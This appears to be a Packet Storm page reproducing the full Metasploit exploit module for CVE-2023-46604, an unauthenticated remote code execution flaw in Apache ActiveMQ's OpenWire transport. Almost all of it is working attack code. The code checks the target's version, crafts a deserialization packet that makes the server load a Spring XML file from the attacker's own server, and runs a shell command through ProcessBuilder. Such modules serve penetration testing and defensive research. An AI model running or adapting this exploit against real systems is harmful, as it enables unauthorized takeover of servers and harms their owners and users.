Lucene search

K
packetstormSfewer-r7, X1r0z, metasploit.comPACKETSTORM:175676
HistoryNov 14, 2023 - 12:00 a.m.

Apache ActiveMQ Unauthenticated Remote Code Execution

2023-11-1400:00:00
sfewer-r7, X1r0z, metasploit.com
packetstormsecurity.com
403
apache activemq
remote code execution
openwire transport

7.1 High

AI Score

Confidence

Low

0.964 High

EPSS

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Retry  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache  
ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to  
5.16.6, and all versions before 5.15.16.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'X1r0z', # Original technical analysis & exploit  
'sfewer-r7', # MSF exploit & Rapid7 analysis  
],  
'References' => [  
['CVE', '2023-46604'],  
['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],  
['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],  
['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],  
['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']  
],  
'DisclosureDate' => '2023-10-27',  
'Privileged' => false,  
'Platform' => %w[win linux unix],  
'Arch' => [ARCH_CMD],  
# The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the  
# Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will  
# be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.  
'Stance' => Stance::Aggressive,  
'Targets' => [  
[  
'Windows',  
{  
'Platform' => 'win'  
}  
],  
[  
'Linux',  
{  
'Platform' => 'linux'  
}  
],  
[  
'Unix',  
{  
'Platform' => 'unix'  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
# By default ActiveMQ listens for OpenWire requests on TCP port 61616.  
'RPORT' => 61616,  
# The maximum time in seconds to wait for a session.  
'WfsDelay' => 30  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
end  
  
def check  
connect  
  
res = sock.get_once  
  
disconnect  
  
return CheckCode::Unknown unless res  
  
len, _, magic = res.unpack('NCZ*')  
  
return CheckCode::Unknown unless res.length == len + 4  
  
return CheckCode::Unknown unless magic == 'ActiveMQ'  
  
return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/  
  
version = Rex::Version.new(::Regexp.last_match(1))  
  
ranges = [  
['5.18.0', '5.18.2'],  
['5.17.0', '5.17.5'],  
['5.16.0', '5.16.6'],  
['0.0.0', '5.15.15']  
]  
  
ranges.each do |min, max|  
if version.between?(Rex::Version.new(min), Rex::Version.new(max))  
return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")  
end  
end  
  
Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")  
end  
  
def exploit  
# The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.  
if payload.encoded.include? ']]>'  
fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')  
end  
  
start_service  
  
connect  
  
# The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To  
# leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we  
# serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to  
# run an attacker supplied command line via java.lang.ProcessBuilder.start.  
clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'  
  
# 31 is the EXCEPTION_RESPONSE data type.  
data = [31].pack('C')  
# ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.  
data << [0].pack('N')  
# and a 1 byte boolean for response required.  
data << [0].pack('C')  
# ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.  
data << [0].pack('N')  
# BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.  
data << [1].pack('C')  
# BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.  
data << [1].pack('C')  
# First 2 bytes are the length.  
data << [clazz.length].pack('n')  
# Then the string data. This is the class name to instantiate.  
data << clazz  
# Same again for the method string. This is the single string parameter used during class instantiation.  
data << [1].pack('C')  
data << [get_uri.length].pack('n')  
data << get_uri  
  
sock.puts([data.length].pack('N') + data)  
  
retry_until_truthy(timeout: datastore['WfsDelay']) do  
!handler_enabled? || session_created?  
end  
  
handler  
ensure  
cleanup  
end  
  
def on_request_uri(cli, request)  
if request.uri != get_resource  
super  
end  
  
case target['Platform']  
when 'win'  
shell = 'cmd.exe'  
flag = '/c'  
when 'linux', 'unix'  
shell = '/bin/sh'  
flag = '-c'  
end  
  
xml = %(<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">  
<constructor-arg>  
<list>  
<value>#{shell}</value>  
<value>#{flag}</value>  
<value><![CDATA[#{payload.encoded}]]></value>  
</list>  
</constructor-arg>  
</bean>  
</beans>)  
  
send_response(cli, xml, {  
'Content-Type' => 'application/xml',  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
})  
  
print_status('Sent ClassPathXmlApplicationContext configuration file.')  
end  
  
end  
`